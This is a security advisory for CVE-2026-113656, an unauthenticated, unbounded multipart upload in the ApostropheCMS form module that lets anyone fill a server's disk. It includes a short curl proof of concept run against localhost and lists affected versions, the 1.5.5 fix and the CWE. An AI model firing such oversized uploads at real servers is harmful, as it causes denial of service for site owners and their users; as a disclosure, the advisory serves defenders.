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CVE-2026-113656: ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS

October 20, 2026

Summary The form submission endpoint runs multer({ dest: os.tmpdir() }).any() before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.

Details packages/form/index.js apiRoutes.post.submit (L274–296): [ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]. No limits, no rate limiting, no pre-validation. “CSRF” is a fixed-value double-submit cookie (vulnlab.csrf=csrf, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.

PoC

$ curl -s -c csrfjar.cookies http://localhost:3100/        # get vulnlab.csrf=csrf (any GET)
$ df -P /tmp                                                # before: used=1105212
$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \
-F "file=@/tmp/opencode/big.bin;type=application/octet-stream" &
DURING transfer:    used=1148668
still transferring: used=1226936        # +121MB mid-transfer on disk
http=500 time=1.78s sent=209715411B     # generic error AFTER full staging

References

  • github.com/advisories/GHSA-89mh-mm8c-mv7f
  • github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
  • github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
  • github.com/apostrophecms/apostrophe/releases/tag/@apostrophecms/form@1.5.5
  • github.com/apostrophecms/apostrophe/security/advisories/GHSA-89mh-mm8c-mv7f
  • nvd.nist.gov/vuln/detail/CVE-2026-113656

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Affected versions

All versions before 1.5.5

Fixed versions

  • 1.5.5

Solution

Upgrade to version 1.5.5 or above.

Impact 5.3 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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Weakness

  • CWE-770: Allocation of Resources Without Limits or Throttling

Source file

npm/@apostrophecms/form/CVE-2026-113656.yml

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